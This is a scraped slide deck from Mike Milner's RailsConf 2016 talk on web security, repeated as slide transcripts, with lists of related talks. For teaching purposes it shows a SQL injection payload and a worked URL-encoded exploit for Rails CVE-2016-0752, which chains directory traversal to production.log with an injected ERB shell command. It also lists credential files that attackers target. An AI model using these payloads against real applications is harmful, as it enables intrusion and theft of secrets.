SlideShare a Scribd company logo
State of Web Security
Mike Milner
CTO @immunio
RailsConf 2016
State of Web Security RailsConf 2016
Today
Checked in to my flight
Read the News
Paid for Parking
Coffee with the Starbucks app
Boarding Pass Slack
Gmail
Review some Pull Requests Uber
RailsConf Schedule
Trello
Banking
Facebook
Twitter
Ashley Madison
Manage your
corporate network
All On the Web
All On the Web
Who is protecting
my data?
How?
Framework up to Date?
Libraries Patched?
Code Reviewed for Security?
Monitoring for New CVEs?
Reviewed External libraries?
Static Analysis?
Fixed Insecure Defaults?
Security is Hard
But it can be
SOOO
Interesting :)
Three Types of

Vulnerable Code
• Code written by you
• Code written by someone else
• Code not written
SQL Injection
• First publicly discussed in 1998. Well understood.
• Largely fixed in all web apps. Right?
"SELECT * FROM users WHERE name = '" + userName + "';"
userName = “' OR 1=1 --“
SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;
Lost 100k customers and
£60m
157,000 had details stolen
Names, email addresses, passwords, and home addresses
of 4,833,678 parents
200,000 kids
Email addresses,
phone numbers
and dates of birth
656,723
customers
Beer
Vouchers
ActiveRecord
http://rails-sqli.org/
CVE-2016-0752
“Possible Information Leak Vulnerability”
Credited to John Poulin at nVisium
https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/
https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00
Directory Traversal
def show
render params[:template]
end
What if we try: /etc/passwd ?
Image credit: https://nvisium.com/blog
Directory Traversal
• /etc/passwd
• RAILS_ROOT/config/
secrets.yml
• RAILS_ROOT/config/initializers/
secret_token.rb
• SSL private keys
• /proc/self/environ
• /proc/<pid>/environ
Yikes!
Can We Execute Code?
“Helpful” default behaviour in Rails
Unknown extension defaults to ERB template
<%= `whoami` %>
Similar technique to CVE-2014-0130
as described by Jeff Jarmoc @ Matasano
http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf
Basics
Write code into file
Ask Rails to execute it
Getting Code into a File
Rails does this for us!
/users/page?mycode=1234
Written to production.log
/users/page?mycode=%3c%25%3d%20%60%69%64%60%20%25%3e
<%= `whoami` %>
Putting it Together
/users/../../../production.log?
mycode=<%= `whoami` %>
/users/%2e%2e%2f%2e%2e%2f%2e%2e%2flog%2fproduction%2elog?
mycode=%3c%25%3d%20%60%69%64%60%20%25%3e
Website Ransomware
Credential Stuffing
State of Web Security RailsConf 2016
Warranty Fraud
How to protect?
• Educate Developers
• OWASP Top 10
• Stay up-to-date
• Static Analysis
• Manual Code Review
• Pen-test
Active Defence
Signature Based
Hard to maintain, Easy to bypass
WAF?
Traditional Deployment
Deployments Today
RASP
Runtime Application Self Protection
Active Defence
What was the actual exploit?
A file was read that shouldn’t be read
Shell commands were executed
Move INSIDE the app
and we can see these directly
Protect against the exploit
• Uploaded images should not be executed as code
• Don’t load configuration from /tmp
• My app does NOT need to read or write anywhere
inside /etc
• In fact, the app shouldn’t be writing anywhere except /
tmp and /var/log
• And especially not be reading from /etc/ssl or
~/.ssh/id_rsa
Track code that opens files
Protect against the exploit
• Most apps don’t need to execute shell commands.
FENCE IT OFF!
• If you do need shell, track the code that runs commands.
• The command that minifies my CSS should not be
downloading and executing a perl script!
• The command that sends an invoice should not be
opening a reverse shell to Russia!
• And block shell access from everywhere else.
Track shell code execution
Inside the App
Much more accurate Fewer false positives.
• SQL Queries for SQL Injection
• Template rendering for Cross Site Scripting
• Authentication attacks and Brute Forcing
• Cross Site Request Forgery
Inside the App
Better Understanding of Vulnerabilities
• Visibility down to the line of code.
• See how bad input affects each template
interpolation.
• Monitor what libraries are installed and how they’re
used.
• Report gem versions that have known vulnerabilities.
Harden the App
SQL Injection with RASP
• SELECT * FROM users WHERE name = ‘Mike’
• SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;
• "SELECT * FROM users WHERE name = '" + userName + "';"
Rate Limiting
• Count volume of events in a sliding time window
• Take action when the threshold is exceeded
State of Web Security RailsConf 2016
Three Types of

Vulnerable Code
• Code written by you
• Code written by someone else
• Code not written
State of Web Security RailsConf 2016
Thank You!
Mike Milner
CTO @immunio
RailsConf 2016
www.immun.io

More Related Content

PDF
GoSec 2015 - Protecting the web from within
PDF
RailsConf 2015 - Metasecurity: Beyond Patching Vulnerabilities
PPTX
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
PDF
Approaching the unknown - Windows Phone application security assessment guide
PPT
Phishing with Super Bait
DOCX
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
PPT
Security Tech Talk
PPTX
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN
GoSec 2015 - Protecting the web from within
RailsConf 2015 - Metasecurity: Beyond Patching Vulnerabilities
MS Innovation Day: A Lap Around Web Application Vulnerabilities by MVP Walter...
Approaching the unknown - Windows Phone application security assessment guide
Phishing with Super Bait
CROSS-SITE REQUEST FORGERY - IN-DEPTH ANALYSIS 2011
Security Tech Talk
BEST PRACTICES OF WEB APPLICATION SECURITY By SAMVEL GEVORGYAN

What's hot (20)

ODP
Csrf not all defenses are created equal
PPTX
Owasp2013 johannesullrich
PDF
Owasp advanced mobile-application-code-review-techniques-v0.2
PDF
WordPress Troubleshooting Hacks.pdf
PPT
DEFCON 17 Presentation: CSRF - Yeah, It Still Works
PPTX
Case Study of Django: Web Frameworks that are Secure by Default
PPTX
Introduction to CSRF Attacks & Defense
PPTX
Understanding Cross-site Request Forgery
PPTX
A7 Missing Function Level Access Control
PPTX
Web security-–-everything-we-know-is-wrong-eoin-keary
PPTX
Security testing for web developers
PPTX
2 . web app s canners
PPTX
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
PPTX
Content Management System Security
PDF
Understanding The Known: OWASP A9 Using Components With Known Vulnerabilities
PDF
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
PDF
AtlasCamp 2010: Securing your Plugin - Penny Wyatt
PDF
REST API Pentester's perspective
PPTX
3. backup file artifacts - mazin ahmed
PDF
Android mobile app security offensive security workshop
Csrf not all defenses are created equal
Owasp2013 johannesullrich
Owasp advanced mobile-application-code-review-techniques-v0.2
WordPress Troubleshooting Hacks.pdf
DEFCON 17 Presentation: CSRF - Yeah, It Still Works
Case Study of Django: Web Frameworks that are Secure by Default
Introduction to CSRF Attacks & Defense
Understanding Cross-site Request Forgery
A7 Missing Function Level Access Control
Web security-–-everything-we-know-is-wrong-eoin-keary
Security testing for web developers
2 . web app s canners
Automated Security Analysis of Android & iOS Applications with Mobile Securit...
Content Management System Security
Understanding The Known: OWASP A9 Using Components With Known Vulnerabilities
Nullcon Goa 2016 - Automated Mobile Application Security Testing with Mobile ...
AtlasCamp 2010: Securing your Plugin - Penny Wyatt
REST API Pentester's perspective
3. backup file artifacts - mazin ahmed
Android mobile app security offensive security workshop
Ad

Similar to State of Web Security RailsConf 2016 (20)

PDF
Ruxmon feb 2013 what happened to rails
PDF
Securing Rails
PDF
Rails Security
PPTX
Ruby on Rails Penetration Testing
PDF
Rails Security
ODP
Os Cook
PPTX
Hacking Rails
PPT
Ruby Security
 
PPTX
Security as Code
PDF
Ruby on Rails Security
PDF
Ruby on Rails Security
PPT
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
PPTX
Application security
PPTX
Web security – application security roads to software security nirvana iisf...
PDF
Web server security techniques by Khawar Nehal
PDF
Windy City Rails - Layered Security
PDF
owasp_meetup_12_10
PDF
I got 99 trends and a # is all of them
PDF
Cloud Security Engineering - Tools and Techniques
PDF
Rails Security
Ruxmon feb 2013 what happened to rails
Securing Rails
Rails Security
Ruby on Rails Penetration Testing
Rails Security
Os Cook
Hacking Rails
Ruby Security
 
Security as Code
Ruby on Rails Security
Ruby on Rails Security
StartPad Countdown 2 - Startup Security: Hacking and Compliance in a Web 2.0 ...
Application security
Web security – application security roads to software security nirvana iisf...
Web server security techniques by Khawar Nehal
Windy City Rails - Layered Security
owasp_meetup_12_10
I got 99 trends and a # is all of them
Cloud Security Engineering - Tools and Techniques
Rails Security
Ad

Recently uploaded (20)

PPTX
Introduction to cybersecurity and digital nettiquette
PDF
Vigrab.top – Online Tool for Downloading and Converting Social Media Videos a...
PPTX
E -tech empowerment technologies PowerPoint
PDF
FINAL CALL-6th International Conference on Networks & IOT (NeTIOT 2025)
PDF
Unit-1 introduction to cyber security discuss about how to secure a system
PPT
Design_with_Watersergyerge45hrbgre4top (1).ppt
PPTX
Funds Management Learning Material for Beg
PDF
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
PPTX
artificial intelligence overview of it and more
PPT
Ethics in Information System - Management Information System
PPTX
Module 1 - Cyber Law and Ethics 101.pptx
PPTX
newyork.pptxirantrafgshenepalchinachinane
PDF
Introduction to the IoT system, how the IoT system works
PPT
isotopes_sddsadsaadasdasdasdasdsa1213.ppt
PPTX
June-4-Sermon-Powerpoint.pptx USE THIS FOR YOUR MOTIVATION
PPTX
Introduction to Information and Communication Technology
PPTX
Digital Literacy And Online Safety on internet
PPTX
INTERNET------BASICS-------UPDATED PPT PRESENTATION
PPTX
SAP Ariba Sourcing PPT for learning material
PPTX
Mathew Digital SEO Checklist Guidlines 2025
Introduction to cybersecurity and digital nettiquette
Vigrab.top – Online Tool for Downloading and Converting Social Media Videos a...
E -tech empowerment technologies PowerPoint
FINAL CALL-6th International Conference on Networks & IOT (NeTIOT 2025)
Unit-1 introduction to cyber security discuss about how to secure a system
Design_with_Watersergyerge45hrbgre4top (1).ppt
Funds Management Learning Material for Beg
Smart Home Technology for Health Monitoring (www.kiu.ac.ug)
artificial intelligence overview of it and more
Ethics in Information System - Management Information System
Module 1 - Cyber Law and Ethics 101.pptx
newyork.pptxirantrafgshenepalchinachinane
Introduction to the IoT system, how the IoT system works
isotopes_sddsadsaadasdasdasdasdsa1213.ppt
June-4-Sermon-Powerpoint.pptx USE THIS FOR YOUR MOTIVATION
Introduction to Information and Communication Technology
Digital Literacy And Online Safety on internet
INTERNET------BASICS-------UPDATED PPT PRESENTATION
SAP Ariba Sourcing PPT for learning material
Mathew Digital SEO Checklist Guidlines 2025

State of Web Security RailsConf 2016

  • 1. State of Web Security Mike Milner CTO @immunio RailsConf 2016
  • 3. Today Checked in to my flight Read the News Paid for Parking Coffee with the Starbucks app Boarding Pass Slack Gmail Review some Pull Requests Uber RailsConf Schedule Trello Banking Facebook Twitter Ashley Madison Manage your corporate network
  • 5. All On the Web Who is protecting my data?
  • 6. How? Framework up to Date? Libraries Patched? Code Reviewed for Security? Monitoring for New CVEs? Reviewed External libraries? Static Analysis? Fixed Insecure Defaults?
  • 7. Security is Hard But it can be SOOO Interesting :)
  • 8. Three Types of
 Vulnerable Code • Code written by you • Code written by someone else • Code not written
  • 9. SQL Injection • First publicly discussed in 1998. Well understood. • Largely fixed in all web apps. Right? "SELECT * FROM users WHERE name = '" + userName + "';" userName = “' OR 1=1 --“ SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘;
  • 10. Lost 100k customers and £60m 157,000 had details stolen
  • 11. Names, email addresses, passwords, and home addresses of 4,833,678 parents 200,000 kids
  • 12. Email addresses, phone numbers and dates of birth 656,723 customers Beer Vouchers
  • 14. CVE-2016-0752 “Possible Information Leak Vulnerability” Credited to John Poulin at nVisium https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/ https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00
  • 15. Directory Traversal def show render params[:template] end
  • 16. What if we try: /etc/passwd ? Image credit: https://nvisium.com/blog
  • 17. Directory Traversal • /etc/passwd • RAILS_ROOT/config/ secrets.yml • RAILS_ROOT/config/initializers/ secret_token.rb • SSL private keys • /proc/self/environ • /proc/<pid>/environ
  • 19. Can We Execute Code? “Helpful” default behaviour in Rails Unknown extension defaults to ERB template <%= `whoami` %> Similar technique to CVE-2014-0130 as described by Jeff Jarmoc @ Matasano http://matasano.com/research/AnatomyOfRailsVuln-CVE-2014-0130.pdf
  • 20. Basics Write code into file Ask Rails to execute it
  • 21. Getting Code into a File Rails does this for us! /users/page?mycode=1234 Written to production.log /users/page?mycode=%3c%25%3d%20%60%69%64%60%20%25%3e <%= `whoami` %>
  • 22. Putting it Together /users/../../../production.log? mycode=<%= `whoami` %> /users/%2e%2e%2f%2e%2e%2f%2e%2e%2flog%2fproduction%2elog? mycode=%3c%25%3d%20%60%69%64%60%20%25%3e
  • 27. How to protect? • Educate Developers • OWASP Top 10 • Stay up-to-date • Static Analysis • Manual Code Review • Pen-test
  • 28. Active Defence Signature Based Hard to maintain, Easy to bypass WAF?
  • 32. Active Defence What was the actual exploit? A file was read that shouldn’t be read Shell commands were executed Move INSIDE the app and we can see these directly
  • 33. Protect against the exploit • Uploaded images should not be executed as code • Don’t load configuration from /tmp • My app does NOT need to read or write anywhere inside /etc • In fact, the app shouldn’t be writing anywhere except / tmp and /var/log • And especially not be reading from /etc/ssl or ~/.ssh/id_rsa Track code that opens files
  • 34. Protect against the exploit • Most apps don’t need to execute shell commands. FENCE IT OFF! • If you do need shell, track the code that runs commands. • The command that minifies my CSS should not be downloading and executing a perl script! • The command that sends an invoice should not be opening a reverse shell to Russia! • And block shell access from everywhere else. Track shell code execution
  • 35. Inside the App Much more accurate Fewer false positives. • SQL Queries for SQL Injection • Template rendering for Cross Site Scripting • Authentication attacks and Brute Forcing • Cross Site Request Forgery
  • 36. Inside the App Better Understanding of Vulnerabilities • Visibility down to the line of code. • See how bad input affects each template interpolation. • Monitor what libraries are installed and how they’re used. • Report gem versions that have known vulnerabilities.
  • 38. SQL Injection with RASP • SELECT * FROM users WHERE name = ‘Mike’ • SELECT * FROM users WHERE name = ‘’ OR 1=1 --‘; • "SELECT * FROM users WHERE name = '" + userName + "';"
  • 39. Rate Limiting • Count volume of events in a sliding time window • Take action when the threshold is exceeded
  • 41. Three Types of
 Vulnerable Code • Code written by you • Code written by someone else • Code not written
  • 43. Thank You! Mike Milner CTO @immunio RailsConf 2016 www.immun.io